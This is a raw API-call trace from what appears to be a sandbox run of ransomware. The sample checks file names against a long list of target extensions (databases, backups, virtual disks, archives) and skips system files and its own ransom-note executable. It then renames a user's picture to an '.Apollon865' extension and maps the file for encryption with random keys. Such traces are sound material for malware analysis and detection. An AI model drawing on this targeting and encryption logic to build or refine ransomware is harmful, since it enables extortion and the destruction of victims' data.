	[0087.111] lstrlenW (lpString="fic") returned 3
	[0087.111] lstrcmpiW (lpString1="bmp", lpString2="fic") returned -1
	[0087.111] lstrlenW (lpString="flexolibrary") returned 12
	[0087.111] lstrcmpiW (lpString1="5Y_XNNVl.bmp", lpString2="flexolibrary") returned -1
	[0087.111] lstrlenW (lpString="fm5") returned 3
	[0087.111] lstrcmpiW (lpString1="bmp", lpString2="fm5") returned -1
	[0087.111] lstrlenW (lpString="fmp") returned 3
	[0087.111] lstrcmpiW (lpString1="bmp", lpString2="fmp") returned -1
	[0087.111] lstrlenW (lpString="fmp12") returned 5
	[0087.111] lstrcmpiW (lpString1="l.bmp", lpString2="fmp12") returned 1
	[0087.111] lstrlenW (lpString="fmpsl") returned 5
	[0087.112] lstrcmpiW (lpString1="l.bmp", lpString2="fmpsl") returned 1
	[0087.112] lstrlenW (lpString="fol") returned 3
	[0087.112] lstrcmpiW (lpString1="bmp", lpString2="fol") returned -1
	[0087.112] lstrlenW (lpString="fp3") returned 3
	[0087.112] lstrcmpiW (lpString1="bmp", lpString2="fp3") returned -1
	[0087.112] lstrlenW (lpString="fp4") returned 3
	[0087.112] lstrcmpiW (lpString1="bmp", lpString2="fp4") returned -1
	[0087.112] lstrlenW (lpString="fp5") returned 3
	[0087.112] lstrcmpiW (lpString1="bmp", lpString2="fp5") returned -1
	[0087.112] lstrlenW (lpString="fp7") returned 3
	[0087.112] lstrcmpiW (lpString1="bmp", lpString2="fp7") returned -1
	[0087.112] lstrlenW (lpString="fpt") returned 3
	[0087.112] lstrcmpiW (lpString1="bmp", lpString2="fpt") returned -1
	[0087.112] lstrlenW (lpString="frm") returned 3
	[0087.112] lstrcmpiW (lpString1="bmp", lpString2="frm") returned -1
	[0087.112] lstrlenW (lpString="gdb") returned 3
	[0087.112] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1
	[0087.112] lstrlenW (lpString="gdb") returned 3
	[0087.112] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1
	[0087.112] lstrlenW (lpString="grdb") returned 4
	[0087.112] lstrcmpiW (lpString1=".bmp", lpString2="grdb") returned -1
	[0087.112] lstrlenW (lpString="gwi") returned 3
	[0087.112] lstrcmpiW (lpString1="bmp", lpString2="gwi") returned -1
	[0087.112] lstrlenW (lpString="hdb") returned 3
	[0087.112] lstrcmpiW (lpString1="bmp", lpString2="hdb") returned -1
	[0087.112] lstrlenW (lpString="his") returned 3
	[0087.112] lstrcmpiW (lpString1="bmp", lpString2="his") returned -1
	[0087.112] lstrlenW (lpString="ib") returned 2
	[0087.112] lstrcmpiW (lpString1="mp", lpString2="ib") returned 1
	[0087.112] lstrlenW (lpString="idb") returned 3
	[0087.112] lstrcmpiW (lpString1="bmp", lpString2="idb") returned -1
	[0087.112] lstrlenW (lpString="ihx") returned 3
	[0087.112] lstrcmpiW (lpString1="bmp", lpString2="ihx") returned -1
	[0087.112] lstrlenW (lpString="itdb") returned 4
	[0087.113] lstrcmpiW (lpString1=".bmp", lpString2="itdb") returned -1
	[0087.113] lstrlenW (lpString="itw") returned 3
	[0087.113] lstrcmpiW (lpString1="bmp", lpString2="itw") returned -1
	[0087.113] lstrlenW (lpString="jet") returned 3
	[0087.113] lstrcmpiW (lpString1="bmp", lpString2="jet") returned -1
	[0087.113] lstrlenW (lpString="jtx") returned 3
	[0087.113] lstrcmpiW (lpString1="bmp", lpString2="jtx") returned -1
	[0087.113] lstrlenW (lpString="kdb") returned 3
	[0087.113] lstrcmpiW (lpString1="bmp", lpString2="kdb") returned -1
	[0087.113] lstrlenW (lpString="kexi") returned 4
	[0087.113] lstrcmpiW (lpString1=".bmp", lpString2="kexi") returned -1
	[0087.113] lstrlenW (lpString="kexic") returned 5
	[0087.113] lstrcmpiW (lpString1="l.bmp", lpString2="kexic") returned 1
	[0087.113] lstrlenW (lpString="kexis") returned 5
	[0087.113] lstrcmpiW (lpString1="l.bmp", lpString2="kexis") returned 1
	[0087.113] lstrlenW (lpString="lgc") returned 3
	[0087.113] lstrcmpiW (lpString1="bmp", lpString2="lgc") returned -1
	[0087.113] lstrlenW (lpString="lwx") returned 3
	[0087.113] lstrcmpiW (lpString1="bmp", lpString2="lwx") returned -1
	[0087.113] lstrlenW (lpString="maf") returned 3
	[0087.113] lstrcmpiW (lpString1="bmp", lpString2="maf") returned -1
	[0087.113] lstrlenW (lpString="maq") returned 3
	[0087.113] lstrcmpiW (lpString1="bmp", lpString2="maq") returned -1
	[0087.113] lstrlenW (lpString="mar") returned 3
	[0087.113] lstrcmpiW (lpString1="bmp", lpString2="mar") returned -1
	[0087.113] lstrlenW (lpString="marshal") returned 7
	[0087.113] lstrcmpiW (lpString1="NVl.bmp", lpString2="marshal") returned 1
	[0087.113] lstrlenW (lpString="mas") returned 3
	[0087.113] lstrcmpiW (lpString1="bmp", lpString2="mas") returned -1
	[0087.113] lstrlenW (lpString="mav") returned 3
	[0087.113] lstrcmpiW (lpString1="bmp", lpString2="mav") returned -1
	[0087.113] lstrlenW (lpString="maw") returned 3
	[0087.113] lstrcmpiW (lpString1="bmp", lpString2="maw") returned -1
	[0087.113] lstrlenW (lpString="mdbhtml") returned 7
	[0087.114] lstrcmpiW (lpString1="NVl.bmp", lpString2="mdbhtml") returned 1
	[0087.114] lstrlenW (lpString="mdn") returned 3
	[0087.114] lstrcmpiW (lpString1="bmp", lpString2="mdn") returned -1
	[0087.114] lstrlenW (lpString="mdt") returned 3
	[0087.114] lstrcmpiW (lpString1="bmp", lpString2="mdt") returned -1
	[0087.114] lstrlenW (lpString="mfd") returned 3
	[0087.114] lstrcmpiW (lpString1="bmp", lpString2="mfd") returned -1
	[0087.114] lstrlenW (lpString="mpd") returned 3
	[0087.114] lstrcmpiW (lpString1="bmp", lpString2="mpd") returned -1
	[0087.114] lstrlenW (lpString="mrg") returned 3
	[0087.114] lstrcmpiW (lpString1="bmp", lpString2="mrg") returned -1
	[0087.114] lstrlenW (lpString="mud") returned 3
	[0087.114] lstrcmpiW (lpString1="bmp", lpString2="mud") returned -1
	[0087.114] lstrlenW (lpString="mwb") returned 3
	[0087.114] lstrcmpiW (lpString1="bmp", lpString2="mwb") returned -1
	[0087.114] lstrlenW (lpString="myd") returned 3
	[0087.114] lstrcmpiW (lpString1="bmp", lpString2="myd") returned -1
	[0087.114] lstrlenW (lpString="ndf") returned 3
	[0087.114] lstrcmpiW (lpString1="bmp", lpString2="ndf") returned -1
	[0087.114] lstrlenW (lpString="nnt") returned 3
	[0087.114] lstrcmpiW (lpString1="bmp", lpString2="nnt") returned -1
	[0087.114] lstrlenW (lpString="nrmlib") returned 6
	[0087.114] lstrcmpiW (lpString1="Vl.bmp", lpString2="nrmlib") returned 1
	[0087.114] lstrlenW (lpString="ns2") returned 3
	[0087.114] lstrcmpiW (lpString1="bmp", lpString2="ns2") returned -1
	[0087.114] lstrlenW (lpString="ns3") returned 3
	[0087.114] lstrcmpiW (lpString1="bmp", lpString2="ns3") returned -1
	[0087.114] lstrlenW (lpString="ns4") returned 3
	[0087.114] lstrcmpiW (lpString1="bmp", lpString2="ns4") returned -1
	[0087.114] lstrlenW (lpString="nsf") returned 3
	[0087.114] lstrcmpiW (lpString1="bmp", lpString2="nsf") returned -1
	[0087.114] lstrlenW (lpString="nv") returned 2
	[0087.114] lstrcmpiW (lpString1="mp", lpString2="nv") returned -1
	[0087.114] lstrlenW (lpString="nv2") returned 3
	[0087.115] lstrcmpiW (lpString1="bmp", lpString2="nv2") returned -1
	[0087.115] lstrlenW (lpString="nwdb") returned 4
	[0087.115] lstrcmpiW (lpString1=".bmp", lpString2="nwdb") returned -1
	[0087.115] lstrlenW (lpString="nyf") returned 3
	[0087.115] lstrcmpiW (lpString1="bmp", lpString2="nyf") returned -1
	[0087.115] lstrlenW (lpString="odb") returned 3
	[0087.115] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1
	[0087.115] lstrlenW (lpString="odb") returned 3
	[0087.115] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1
	[0087.115] lstrlenW (lpString="oqy") returned 3
	[0087.115] lstrcmpiW (lpString1="bmp", lpString2="oqy") returned -1
	[0087.115] lstrlenW (lpString="ora") returned 3
	[0087.115] lstrcmpiW (lpString1="bmp", lpString2="ora") returned -1
	[0087.115] lstrlenW (lpString="orx") returned 3
	[0087.115] lstrcmpiW (lpString1="bmp", lpString2="orx") returned -1
	[0087.115] lstrlenW (lpString="owc") returned 3
	[0087.115] lstrcmpiW (lpString1="bmp", lpString2="owc") returned -1
	[0087.115] lstrlenW (lpString="p96") returned 3
	[0087.115] lstrcmpiW (lpString1="bmp", lpString2="p96") returned -1
	[0087.115] lstrlenW (lpString="p97") returned 3
	[0087.115] lstrcmpiW (lpString1="bmp", lpString2="p97") returned -1
	[0087.115] lstrlenW (lpString="pan") returned 3
	[0087.115] lstrcmpiW (lpString1="bmp", lpString2="pan") returned -1
	[0087.115] lstrlenW (lpString="pdb") returned 3
	[0087.115] lstrcmpiW (lpString1="bmp", lpString2="pdb") returned -1
	[0087.115] lstrlenW (lpString="pdm") returned 3
	[0087.115] lstrcmpiW (lpString1="bmp", lpString2="pdm") returned -1
	[0087.115] lstrlenW (lpString="pnz") returned 3
	[0087.115] lstrcmpiW (lpString1="bmp", lpString2="pnz") returned -1
	[0087.115] lstrlenW (lpString="qry") returned 3
	[0087.115] lstrcmpiW (lpString1="bmp", lpString2="qry") returned -1
	[0087.115] lstrlenW (lpString="qvd") returned 3
	[0087.115] lstrcmpiW (lpString1="bmp", lpString2="qvd") returned -1
	[0087.115] lstrlenW (lpString="rbf") returned 3
	[0087.116] lstrcmpiW (lpString1="bmp", lpString2="rbf") returned -1
	[0087.116] lstrlenW (lpString="rctd") returned 4
	[0087.116] lstrcmpiW (lpString1=".bmp", lpString2="rctd") returned -1
	[0087.116] lstrlenW (lpString="rod") returned 3
	[0087.116] lstrcmpiW (lpString1="bmp", lpString2="rod") returned -1
	[0087.116] lstrlenW (lpString="rodx") returned 4
	[0087.116] lstrcmpiW (lpString1=".bmp", lpString2="rodx") returned -1
	[0087.116] lstrlenW (lpString="rpd") returned 3
	[0087.116] lstrcmpiW (lpString1="bmp", lpString2="rpd") returned -1
	[0087.116] lstrlenW (lpString="rsd") returned 3
	[0087.116] lstrcmpiW (lpString1="bmp", lpString2="rsd") returned -1
	[0087.116] lstrlenW (lpString="sas7bdat") returned 8
	[0087.116] lstrcmpiW (lpString1="NNVl.bmp", lpString2="sas7bdat") returned -1
	[0087.116] lstrlenW (lpString="sbf") returned 3
	[0087.116] lstrcmpiW (lpString1="bmp", lpString2="sbf") returned -1
	[0087.116] lstrlenW (lpString="scx") returned 3
	[0087.116] lstrcmpiW (lpString1="bmp", lpString2="scx") returned -1
	[0087.116] lstrlenW (lpString="sdb") returned 3
	[0087.116] lstrcmpiW (lpString1="bmp", lpString2="sdb") returned -1
	[0087.116] lstrlenW (lpString="sdc") returned 3
	[0087.116] lstrcmpiW (lpString1="bmp", lpString2="sdc") returned -1
	[0087.116] lstrlenW (lpString="sdf") returned 3
	[0087.116] lstrcmpiW (lpString1="bmp", lpString2="sdf") returned -1
	[0087.116] lstrlenW (lpString="sis") returned 3
	[0087.116] lstrcmpiW (lpString1="bmp", lpString2="sis") returned -1
	[0087.116] lstrlenW (lpString="spq") returned 3
	[0087.116] lstrcmpiW (lpString1="bmp", lpString2="spq") returned -1
	[0087.116] lstrlenW (lpString="te") returned 2
	[0087.116] lstrcmpiW (lpString1="mp", lpString2="te") returned -1
	[0087.116] lstrlenW (lpString="teacher") returned 7
	[0087.116] lstrcmpiW (lpString1="NVl.bmp", lpString2="teacher") returned -1
	[0087.116] lstrlenW (lpString="tmd") returned 3
	[0087.116] lstrcmpiW (lpString1="bmp", lpString2="tmd") returned -1
	[0087.116] lstrlenW (lpString="tps") returned 3
	[0087.116] lstrcmpiW (lpString1="bmp", lpString2="tps") returned -1
	[0087.117] lstrlenW (lpString="trc") returned 3
	[0087.117] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1
	[0087.117] lstrlenW (lpString="trc") returned 3
	[0087.117] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1
	[0087.117] lstrlenW (lpString="trm") returned 3
	[0087.117] lstrcmpiW (lpString1="bmp", lpString2="trm") returned -1
	[0087.117] lstrlenW (lpString="udb") returned 3
	[0087.117] lstrcmpiW (lpString1="bmp", lpString2="udb") returned -1
	[0087.117] lstrlenW (lpString="udl") returned 3
	[0087.117] lstrcmpiW (lpString1="bmp", lpString2="udl") returned -1
	[0087.117] lstrlenW (lpString="usr") returned 3
	[0087.117] lstrcmpiW (lpString1="bmp", lpString2="usr") returned -1
	[0087.117] lstrlenW (lpString="v12") returned 3
	[0087.117] lstrcmpiW (lpString1="bmp", lpString2="v12") returned -1
	[0087.117] lstrlenW (lpString="vis") returned 3
	[0087.117] lstrcmpiW (lpString1="bmp", lpString2="vis") returned -1
	[0087.117] lstrlenW (lpString="vpd") returned 3
	[0087.117] lstrcmpiW (lpString1="bmp", lpString2="vpd") returned -1
	[0087.117] lstrlenW (lpString="vvv") returned 3
	[0087.117] lstrcmpiW (lpString1="bmp", lpString2="vvv") returned -1
	[0087.117] lstrlenW (lpString="wdb") returned 3
	[0087.117] lstrcmpiW (lpString1="bmp", lpString2="wdb") returned -1
	[0087.117] lstrlenW (lpString="wmdb") returned 4
	[0087.117] lstrcmpiW (lpString1=".bmp", lpString2="wmdb") returned -1
	[0087.117] lstrlenW (lpString="wrk") returned 3
	[0087.117] lstrcmpiW (lpString1="bmp", lpString2="wrk") returned -1
	[0087.117] lstrlenW (lpString="xdb") returned 3
	[0087.117] lstrcmpiW (lpString1="bmp", lpString2="xdb") returned -1
	[0087.117] lstrlenW (lpString="xld") returned 3
	[0087.117] lstrcmpiW (lpString1="bmp", lpString2="xld") returned -1
	[0087.117] lstrlenW (lpString="xmlff") returned 5
	[0087.117] lstrcmpiW (lpString1="l.bmp", lpString2="xmlff") returned -1
	[0087.117] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Hd2FRjNaxKBP5Y_XNNVl.bmp.Apollon865") returned 74
	[0087.117] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Hd2FRjNaxKBP5Y_XNNVl.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\hd2frjnaxkbp5y_xnnvl.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Hd2FRjNaxKBP5Y_XNNVl.bmp.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\hd2frjnaxkbp5y_xnnvl.bmp.apollon865"), dwFlags=0x1) returned 1
	[0087.119] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Hd2FRjNaxKBP5Y_XNNVl.bmp.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\hd2frjnaxkbp5y_xnnvl.bmp.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.119] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=38065) returned 1
	[0087.119] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.119] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0087.119] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0087.119] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.120] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.120] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.120] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x97c0, lpName=0x0) returned 0x15c
	[0087.120] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x97c0) returned 0x100000
	[0087.122] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.123] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.123] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.123] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.123] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.123] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.123] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.123] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.123] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.123] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0087.123] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.123] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0087.123] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.123] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0087.124] CloseHandle (hObject=0x15c) returned 1
	[0087.124] CloseHandle (hObject=0x9c) returned 1
	[0087.125] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0087.125] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0087.125] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.125] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3026bbd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3026bbd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0087.125] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0087.125] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8546d80, ftCreationTime.dwHighDateTime=0x1d4c5f8, ftLastAccessTime.dwLowDateTime=0x331e9a70, ftLastAccessTime.dwHighDateTime=0x1d4c94f, ftLastWriteTime.dwLowDateTime=0x331e9a70, ftLastWriteTime.dwHighDateTime=0x1d4c94f, nFileSizeHigh=0x0, nFileSizeLow=0x17b00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OZx5PV-1.gif", cAlternateFileName="")) returned 1
	[0087.125] lstrcmpiW (lpString1="OZx5PV-1.gif", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0087.125] lstrcmpiW (lpString1="OZx5PV-1.gif", lpString2="Apollon865.txt.exe") returned 1
	[0087.125] lstrcmpiW (lpString1="OZx5PV-1.gif", lpString2=".") returned 1
	[0087.125] lstrcmpiW (lpString1="OZx5PV-1.gif", lpString2="..") returned 1
	[0087.126] lstrcmpiW (lpString1="OZx5PV-1.gif", lpString2="windows") returned -1
	[0087.126] lstrcmpiW (lpString1="OZx5PV-1.gif", lpString2="bootmgr") returned 1
	[0087.126] lstrcmpiW (lpString1="OZx5PV-1.gif", lpString2="temp") returned -1
	[0087.126] lstrcmpiW (lpString1="OZx5PV-1.gif", lpString2="pagefile.sys") returned -1
	[0087.126] lstrcmpiW (lpString1="OZx5PV-1.gif", lpString2="boot") returned 1
	[0087.126] lstrcmpiW (lpString1="OZx5PV-1.gif", lpString2="ids.txt") returned 1
	[0087.126] lstrcmpiW (lpString1="OZx5PV-1.gif", lpString2="ntuser.dat") returned 1
	[0087.126] lstrcmpiW (lpString1="OZx5PV-1.gif", lpString2="perflogs") returned -1
	[0087.126] lstrcmpiW (lpString1="OZx5PV-1.gif", lpString2="MSBuild") returned 1
	[0087.126] lstrlenW (lpString="OZx5PV-1.gif") returned 12
	[0087.126] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Hd2FRjNaxKBP5Y_XNNVl.bmp") returned 63
	[0087.126] lstrcpyW (in: lpString1=0x119e656, lpString2="OZx5PV-1.gif" | out: lpString1="OZx5PV-1.gif") returned="OZx5PV-1.gif"
	[0087.126] lstrlenW (lpString="OZx5PV-1.gif") returned 12
	[0087.126] lstrlenW (lpString="Apollon865") returned 10
	[0087.126] lstrcmpiW (lpString1="x5PV-1.gif", lpString2="Apollon865") returned 1
	[0087.126] lstrlenW (lpString=".dll") returned 4
	[0087.126] lstrcmpiW (lpString1="OZx5PV-1.gif", lpString2=".dll") returned 1
	[0087.126] lstrlenW (lpString=".lnk") returned 4
	[0087.126] lstrcmpiW (lpString1="OZx5PV-1.gif", lpString2=".lnk") returned 1
	[0087.126] lstrlenW (lpString=".ini") returned 4
	[0087.126] lstrcmpiW (lpString1="OZx5PV-1.gif", lpString2=".ini") returned 1
	[0087.126] lstrlenW (lpString=".sys") returned 4
	[0087.126] lstrcmpiW (lpString1="OZx5PV-1.gif", lpString2=".sys") returned 1
	[0087.126] lstrlenW (lpString="OZx5PV-1.gif") returned 12
	[0087.126] lstrlenW (lpString="bak") returned 3
	[0087.126] lstrcmpiW (lpString1="gif", lpString2="bak") returned 1
	[0087.126] lstrlenW (lpString="ba_") returned 3
	[0087.126] lstrcmpiW (lpString1="gif", lpString2="ba_") returned 1
	[0087.126] lstrlenW (lpString="dbb") returned 3
	[0087.126] lstrcmpiW (lpString1="gif", lpString2="dbb") returned 1
	[0087.126] lstrlenW (lpString="vmdk") returned 4
	[0087.126] lstrcmpiW (lpString1=".gif", lpString2="vmdk") returned -1
	[0087.135] lstrlenW (lpString="rar") returned 3
	[0087.135] lstrcmpiW (lpString1="gif", lpString2="rar") returned -1
	[0087.135] lstrlenW (lpString="zip") returned 3
	[0087.135] lstrcmpiW (lpString1="gif", lpString2="zip") returned -1
	[0087.135] lstrlenW (lpString="tgz") returned 3
	[0087.135] lstrcmpiW (lpString1="gif", lpString2="tgz") returned -1
	[0087.135] lstrlenW (lpString="vbox") returned 4
	[0087.135] lstrcmpiW (lpString1=".gif", lpString2="vbox") returned -1
	[0087.135] lstrlenW (lpString="vdi") returned 3
	[0087.135] lstrcmpiW (lpString1="gif", lpString2="vdi") returned -1
	[0087.135] lstrlenW (lpString="vhd") returned 3
	[0087.135] lstrcmpiW (lpString1="gif", lpString2="vhd") returned -1
	[0087.135] lstrlenW (lpString="vhdx") returned 4
	[0087.135] lstrcmpiW (lpString1=".gif", lpString2="vhdx") returned -1
	[0087.135] lstrlenW (lpString="avhd") returned 4
	[0087.135] lstrcmpiW (lpString1=".gif", lpString2="avhd") returned -1
	[0087.135] lstrlenW (lpString="db") returned 2
	[0087.135] lstrcmpiW (lpString1="if", lpString2="db") returned 1
	[0087.135] lstrlenW (lpString="db2") returned 3
	[0087.135] lstrcmpiW (lpString1="gif", lpString2="db2") returned 1
	[0087.135] lstrlenW (lpString="db3") returned 3
	[0087.135] lstrcmpiW (lpString1="gif", lpString2="db3") returned 1
	[0087.135] lstrlenW (lpString="dbf") returned 3
	[0087.135] lstrcmpiW (lpString1="gif", lpString2="dbf") returned 1
	[0087.135] lstrlenW (lpString="mdf") returned 3
	[0087.136] lstrcmpiW (lpString1="gif", lpString2="mdf") returned -1
	[0087.136] lstrlenW (lpString="mdb") returned 3
	[0087.136] lstrcmpiW (lpString1="gif", lpString2="mdb") returned -1
	[0087.136] lstrlenW (lpString="sql") returned 3
	[0087.136] lstrcmpiW (lpString1="gif", lpString2="sql") returned -1
	[0087.136] lstrlenW (lpString="sqlite") returned 6
	[0087.136] lstrcmpiW (lpString1="-1.gif", lpString2="sqlite") returned -1
	[0087.136] lstrlenW (lpString="sqlite3") returned 7
	[0087.136] lstrcmpiW (lpString1="V-1.gif", lpString2="sqlite3") returned 1
	[0087.136] lstrlenW (lpString="sqlitedb") returned 8
	[0087.136] lstrcmpiW (lpString1="PV-1.gif", lpString2="sqlitedb") returned -1
	[0087.136] lstrlenW (lpString="xml") returned 3
	[0087.136] lstrcmpiW (lpString1="gif", lpString2="xml") returned -1
	[0087.136] lstrlenW (lpString="$er") returned 3
	[0087.136] lstrcmpiW (lpString1="gif", lpString2="$er") returned 1
	[0087.136] lstrlenW (lpString="4dd") returned 3
	[0087.136] lstrcmpiW (lpString1="gif", lpString2="4dd") returned 1
	[0087.136] lstrlenW (lpString="4dl") returned 3
	[0087.136] lstrcmpiW (lpString1="gif", lpString2="4dl") returned 1
	[0087.136] lstrlenW (lpString="^^^") returned 3
	[0087.136] lstrcmpiW (lpString1="gif", lpString2="^^^") returned 1
	[0087.136] lstrlenW (lpString="abs") returned 3
	[0087.136] lstrcmpiW (lpString1="gif", lpString2="abs") returned 1
	[0087.136] lstrlenW (lpString="abx") returned 3
	[0087.136] lstrcmpiW (lpString1="gif", lpString2="abx") returned 1
	[0087.136] lstrlenW (lpString="accdb") returned 5
	[0087.136] lstrcmpiW (lpString1="1.gif", lpString2="accdb") returned -1
	[0087.136] lstrlenW (lpString="accdc") returned 5
	[0087.136] lstrcmpiW (lpString1="1.gif", lpString2="accdc") returned -1
	[0087.136] lstrlenW (lpString="accde") returned 5
	[0087.136] lstrcmpiW (lpString1="1.gif", lpString2="accde") returned -1
	[0087.136] lstrlenW (lpString="accdr") returned 5
	[0087.136] lstrcmpiW (lpString1="1.gif", lpString2="accdr") returned -1
	[0087.136] lstrlenW (lpString="accdt") returned 5
	[0087.137] lstrcmpiW (lpString1="1.gif", lpString2="accdt") returned -1
	[0087.137] lstrlenW (lpString="accdw") returned 5
	[0087.137] lstrcmpiW (lpString1="1.gif", lpString2="accdw") returned -1
	[0087.137] lstrlenW (lpString="accft") returned 5
	[0087.137] lstrcmpiW (lpString1="1.gif", lpString2="accft") returned -1
	[0087.137] lstrlenW (lpString="adb") returned 3
	[0087.137] lstrcmpiW (lpString1="gif", lpString2="adb") returned 1
	[0087.137] lstrlenW (lpString="adb") returned 3
	[0087.137] lstrcmpiW (lpString1="gif", lpString2="adb") returned 1
	[0087.137] lstrlenW (lpString="ade") returned 3
	[0087.137] lstrcmpiW (lpString1="gif", lpString2="ade") returned 1
	[0087.137] lstrlenW (lpString="adf") returned 3
	[0087.137] lstrcmpiW (lpString1="gif", lpString2="adf") returned 1
	[0087.137] lstrlenW (lpString="adn") returned 3
	[0087.137] lstrcmpiW (lpString1="gif", lpString2="adn") returned 1
	[0087.137] lstrlenW (lpString="adp") returned 3
	[0087.137] lstrcmpiW (lpString1="gif", lpString2="adp") returned 1
	[0087.137] lstrlenW (lpString="alf") returned 3
	[0087.137] lstrcmpiW (lpString1="gif", lpString2="alf") returned 1
	[0087.137] lstrlenW (lpString="ask") returned 3
	[0087.137] lstrcmpiW (lpString1="gif", lpString2="ask") returned 1
	[0087.137] lstrlenW (lpString="btr") returned 3
	[0087.137] lstrcmpiW (lpString1="gif", lpString2="btr") returned 1
	[0087.137] lstrlenW (lpString="cat") returned 3
	[0087.137] lstrcmpiW (lpString1="gif", lpString2="cat") returned 1
	[0087.137] lstrlenW (lpString="cdb") returned 3
	[0087.137] lstrcmpiW (lpString1="gif", lpString2="cdb") returned 1
	[0087.137] lstrlenW (lpString="ckp") returned 3
	[0087.137] lstrcmpiW (lpString1="gif", lpString2="ckp") returned 1
	[0087.137] lstrlenW (lpString="cma") returned 3
	[0087.137] lstrcmpiW (lpString1="gif", lpString2="cma") returned 1
	[0087.137] lstrlenW (lpString="cpd") returned 3
	[0087.137] lstrcmpiW (lpString1="gif", lpString2="cpd") returned 1
	[0087.137] lstrlenW (lpString="dacpac") returned 6
	[0087.137] lstrcmpiW (lpString1="-1.gif", lpString2="dacpac") returned -1
	[0087.138] lstrlenW (lpString="dad") returned 3
	[0087.138] lstrcmpiW (lpString1="gif", lpString2="dad") returned 1
	[0087.138] lstrlenW (lpString="dadiagrams") returned 10
	[0087.138] lstrcmpiW (lpString1="x5PV-1.gif", lpString2="dadiagrams") returned 1
	[0087.138] lstrlenW (lpString="daschema") returned 8
